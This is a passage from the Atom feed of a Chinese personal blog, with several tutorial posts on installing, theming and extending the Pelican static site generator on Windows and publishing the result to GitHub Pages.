&lt;p&gt;不过有内容的都是有截图的~然后自己选择一个比较喜欢的~&lt;/p&gt;
&lt;p&gt;PO主选择的是&lt;code&gt;tuxlite_tbs&lt;/code&gt;这个主题~&lt;/p&gt;
&lt;p&gt;然后运行一下命令进行安装主题~&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;pelican-themes -i tuxlite_tbs
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;然后修改文件&lt;code&gt;pelicanconf.py&lt;/code&gt;在其中添加&lt;code&gt;THEME = 'bootstrap2'&lt;/code&gt;然后重新生成Blog就好了~&lt;/p&gt;
&lt;p&gt;新的主题怎么样呢~&lt;/p&gt;
&lt;h2&gt;修改主题&lt;/h2&gt;
&lt;p&gt;我们可以看到主题有两个目录，一个是css和icon的~一个是全部的HTML，CSS按照自己喜欢的方式添加修改~
HTML就是这个BLOG的核心部分，基本上所有的代码都是根据这个生成的。&lt;/p&gt;
&lt;p&gt;主页一般是base.html+index.html+....生成的&lt;/p&gt;
&lt;p&gt;我们可以通过观察修改不同的代码，以及我们也可以自己添加函数，标准函数都是{{xxxx.xxxx}}这样的~只要把对应的东西放在对应的位置就好~&lt;/p&gt;
&lt;p&gt;比如 让 网页的title显示的是文章的title而不是Blog的Title&lt;/p&gt;
&lt;p&gt;修改&lt;code&gt;article.html&lt;/code&gt;，添加第二行文字&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="cp"&gt;{%&lt;/span&gt; &lt;span class="k"&gt;extends&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;base.html&amp;quot;&lt;/span&gt; &lt;span class="cp"&gt;%}&lt;/span&gt;&lt;span class="x"&gt;&lt;/span&gt;
&lt;span class="cp"&gt;{%&lt;/span&gt; &lt;span class="k"&gt;block&lt;/span&gt; &lt;span class="nv"&gt;windowtitle&lt;/span&gt; &lt;span class="cp"&gt;%}{{&lt;/span&gt; &lt;span class="nv"&gt;article.title&lt;/span&gt; &lt;span class="cp"&gt;}}{%&lt;/span&gt; &lt;span class="k"&gt;endblock&lt;/span&gt; &lt;span class="cp"&gt;%}&lt;/span&gt;&lt;span class="x"&gt;&lt;/span&gt;
&lt;span class="cp"&gt;{%&lt;/span&gt; &lt;span class="k"&gt;block&lt;/span&gt; &lt;span class="nv"&gt;content&lt;/span&gt; &lt;span class="cp"&gt;%}&lt;/span&gt;&lt;span class="x"&gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;修改主题后，我们要更新主题才会生效&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;pelican-themes -U tuxlite_tbs
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;更新主题后继续重新生成Blog，是不是改变了！&lt;/p&gt;
&lt;h1&gt;添加插件&lt;/h1&gt;
&lt;h2&gt;GITHUB上的插件&lt;/h2&gt;
&lt;p&gt;和主题一样，GIT CLONE。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;git clone git://github.com/getpelican/pelican-plugins.git
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;如何使用可以参考开头提到的Blog和插件自带的.md，这里不再赘述。&lt;/p&gt;
&lt;h2&gt;添加评论插件Disqus&lt;/h2&gt;
&lt;p&gt;去Disqus官网注册，然后申请一个，记住SITENAME，然后在&lt;code&gt;pelicanconf.py&lt;/code&gt;的&lt;code&gt;DISQUS_SITENAME&lt;/code&gt;这个属性后添加SITENAME,c重新编译即可~&lt;/p&gt;
&lt;h2&gt;添加Google Analytics&lt;/h2&gt;
&lt;p&gt;去Google Analytics申请账号，记下跟踪ID，在&lt;code&gt;pelicanconf.py&lt;/code&gt;的&lt;code&gt;GOOGLE_ANALYTICS&lt;/code&gt;添加ID。
注意，现在Google已经修改代码，很多主题的分析代码都是旧版本的，我们先完整的复制Google给的js代码，然后打开主题的 &lt;code&gt;analytics.html&lt;/code&gt;,删除原来的Google Analytics的代码，替换成新的代码，然后更新主题~搞定~&lt;/p&gt;</content><category term="Pelican"></category><category term="Python"></category></entry><entry><title>Pelican 的轻松使用-写一个好脚本</title><link href="https://blog.chenjia.me/articles/140726-003900.html" rel="alternate"></link><published>2014-07-26T00:39:00+08:00</published><updated>2014-07-27T00:54:00+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2014-07-26:/articles/140726-003900.html</id><summary type="html">&lt;p&gt;通过脚本快速发表文章，更新主题~&lt;/p&gt;</summary><content type="html">&lt;h1&gt;一键发表文章&lt;/h1&gt;
&lt;p&gt;在Blog目录下创建&lt;code&gt;Publish.bat&lt;/code&gt;文件（右键新建文本文档，改文件名-。-）
然后按需要修改以下代码:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;pelican content -s publishconf.py
cd output
git add .
git commit -m &amp;quot;commit bat&amp;quot;
git push git@github.com:fashioncj/fashioncj.github.io.git
cd ..
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;然后每次要发布的时候是要双击它就好啦~&lt;/p&gt;
&lt;h1&gt;一键更新主题&lt;/h1&gt;
&lt;p&gt;在pelican-theme目录下新建&lt;code&gt;update.bat&lt;/code&gt;文件
然后写入如下代码&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;pelican-themes -U 主题名
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;就ok啦~&lt;/p&gt;</content><category term="Pelican"></category><category term="Python"></category></entry><entry><title>Pelican 的Windows 入门教程</title><link href="https://blog.chenjia.me/articles/140726-003100.html" rel="alternate"></link><published>2014-07-26T00:31:00+08:00</published><updated>2014-07-25T16:59:00+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2014-07-26:/articles/140726-003100.html</id><summary type="html">&lt;h1&gt;为什么选择TA&lt;/h1&gt;</summary><content type="html">&lt;ol&gt;
&lt;li&gt;在windows下可以很方便的运行，不需要ruby，只要安装pytho  n，而且不需要知道python脚本怎么使用&lt;/li&gt;
&lt;li&gt;简洁，带有code 高亮，如果用rst写的话还支持更多代码...&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;为什么选择TA&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;在windows下可以很方便的运行，不需要ruby，只要安装pytho  n，而且不需要知道python脚本怎么使用&lt;/li&gt;
&lt;li&gt;简洁，带有code 高亮，如果用rst写的话还支持更多代码显示&lt;/li&gt;
&lt;li&gt;模块设计，支持bootstrap，可以自己写Theme和plugins&lt;/li&gt;
&lt;li&gt;看了这个文章，你只需要不到一个 小时就可以写出HelloMyBlog&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;感谢知乎上的题目给了我对jekyII，Octopress，Pelican的对比
&lt;a href="http://www.zhihu.com/question/19996679"&gt;http://www.zhihu.com/question/19996679&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;感谢以下两个Blog给我很多提示
&lt;a href="http://www.lizherui.com/pages/2013/08/17/build_blog.html"&gt;http://www.lizherui.com/pages/2013/08/17/build_blog.html&lt;/a&gt;
&lt;a href="http://www.cnblogs.com/ballwql/p/pelican.html"&gt;http://www.cnblogs.com/ballwql/p/pelican.html&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;让我们开始&lt;/h1&gt;
&lt;p&gt;官方文档：&lt;a href="http://pelican-cn.readthedocs.org/zh_CN/latest/quickstart.html"&gt;http://pelican-cn.readthedocs.org/zh_CN/latest/quickstart.html&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;安装python&lt;/h2&gt;
&lt;p&gt;pelican对于python2和3 都兼容，我个人习惯是都安装，因为现在可以使用&lt;code&gt;py -2&lt;/code&gt;或者&lt;code&gt;py -3&lt;/code&gt;来选择是python2还是python3运行。&lt;/p&gt;
&lt;h2&gt;安装pelican&lt;/h2&gt;
&lt;p&gt;首先，我们要确定pip命令是否可用，在cmd中输入pip看是否识别，不能识别的请将python script的路径加入环境变量path中，不会请google it&lt;/p&gt;
&lt;p&gt;现在我们开始安装pelican&lt;/p&gt;
&lt;p&gt;首先是下载安装pelican&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;pip install pelican markdown
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;等待完成就好~&lt;/p&gt;
&lt;h2&gt;部署新的pelican blog&lt;/h2&gt;
&lt;p&gt;找个新的文件夹~也就是你准备要存放Blog的文件夹~
然后用cmd运行到这个目录下~
本文使用的是newblog这个目录~&lt;/p&gt;
&lt;p&gt;在cmd中输入&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;pelican-quickstart
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;然后就开始配置，网站标题，作者，前缀，分页，页数都自己填，如果你购买了域名就在网站前缀直接输入你的域名~&lt;/p&gt;
&lt;p&gt;一路回答后~就完成了~你会发现文件夹里面多了好多东西~&lt;/p&gt;
&lt;h2&gt;写一篇新文章&lt;/h2&gt;
&lt;p&gt;首先下载MarkdownPad2~这个是在Windows编辑.md文件比较好的软件~
然后在MP中输入：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Title&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Pelican&lt;/span&gt; &lt;span class="err"&gt;的标准发表模板&lt;/span&gt;
&lt;span class="n"&gt;Date&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2014&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;59&lt;/span&gt;
&lt;span class="n"&gt;Modified&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2014&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;59&lt;/span&gt;
&lt;span class="n"&gt;Category&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Pelican&lt;/span&gt;
&lt;span class="n"&gt;Tags&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;pelican&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;publishing&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;python&lt;/span&gt;
&lt;span class="n"&gt;Authors&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;chenjia&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;me&lt;/span&gt;
&lt;span class="n"&gt;Summary&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Template&lt;/span&gt;

&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;lt&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="err"&gt;在这里填写文件内容&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;gt&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;然后保存到&lt;code&gt;content&lt;/code&gt;这个文件夹下~&lt;/p&gt;
&lt;h2&gt;生成Blog&lt;/h2&gt;
&lt;p&gt;在根目录下，cmd中~输入&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;pelican content
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;这样在output文件夹中就会有文件了~可以直接打开里面的index.html，看看是不是很难看？没事不要担心~我们慢慢搞定它~&lt;/p&gt;
&lt;h2&gt;将代码托管到GitHub/GitCafe&lt;/h2&gt;
&lt;p&gt;这两个都提供了个人page的功能~
Github在国外，GFW墙过，gitcafe是国内~比较稳定，不过貌似对某些地方的联通网络支持不好~&lt;/p&gt;
&lt;p&gt;看到大家都喜欢用github~就介绍这个吧~&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;如果新注册的GitCafe的用户~可以添加我作为邀请用户~用户名fashioncj&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;在Github上注册好厚创建 用户名.github.io 的仓库，然后在右边点击设置，里面就有一个生成个人page的选择~然后你就填写资料~就好了~&lt;/p&gt;
&lt;p&gt;ps.那个主题神马的都无所谓~因为我们是要用Pelican的！&lt;/p&gt;
&lt;p&gt;然后配置你的SSH，在本地装好Git环境&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;如果不会git请百度~很快就会的~因为我们只要会clone,add，commit，push&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;然后到本机，cmd切换到output这个目录，使用&lt;code&gt;git clone&lt;/code&gt;把仓库里面的代码复制下来，然后我们就完成了第一步。&lt;/p&gt;
&lt;p&gt;接下来，修改文件&lt;code&gt;publishconf.py&lt;/code&gt;中的&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;DELETE_OUTPUT_DIRECTORY = False
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;防止我们每次生成Blog的时候清空.git目录&lt;/p&gt;
&lt;p&gt;然后我们使用命令&lt;code&gt;pelican content -s publishconf.py&lt;/code&gt;再次生成。&lt;/p&gt;
&lt;p&gt;成功后，我们打开output目录，将代码push到远程仓库。
然后用浏览器访问：用户名.github.io 看看是不是Blog出现了~&lt;/p&gt;
&lt;h2&gt;绑定域名&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;在仓库中创建一个文件，文件名为CNAME,内容为 你的域名 &lt;/li&gt;
&lt;li&gt;修改你的域名dns解析商，推荐dnspod和dnsla&lt;/li&gt;
&lt;li&gt;使用dnspod或者dnsla，将你的域名添加两条A记录，指向的地址分别是&lt;blockquote&gt;
&lt;p&gt;192.30.252.154&lt;/p&gt;
&lt;p&gt;192.30.252.153&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;然后过几分钟，打开你的域名~blog是不是出现了！&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;接下来的一篇文章会介绍添加主题，插件，修改主题模板，脚本快速发表等内容&lt;/p&gt;
&lt;p&gt;modified at 2014-07-26 01:15  &lt;/p&gt;</content><category term="Pelican"></category><category term="Python"></category></entry><entry><title>Pelican 的标准发表模板</title><link href="https://blog.chenjia.me/articles/140725-165900.html" rel="alternate"></link><published>2014-07-25T16:59:00+08:00</published><updated>2014-07-25T16:59:00+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2014-07-25:/articles/140725-165900.html</id><summary type="html">&lt;p&gt;Pelican 的标准模板形式，以及支持的Markdown语法&lt;/p&gt;</summary><content type="html">&lt;h1&gt;看上去不错&lt;/h1&gt;
&lt;h2&gt;的确不错&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.io.*&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="o"&gt;(){&lt;/span&gt;

&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;blockquote&gt;
&lt;p&gt;info it&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;em&gt;italy&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;BOLD&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://chenjia.me" title="url"&gt;http://chenjia.me&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;2014/7/25 17:04:48 &lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="https://i.imgur.com/S6CqnFR.png"&gt;&lt;/p&gt;</content><category term="Pelican"></category><category term="Python"></category></entry></feed>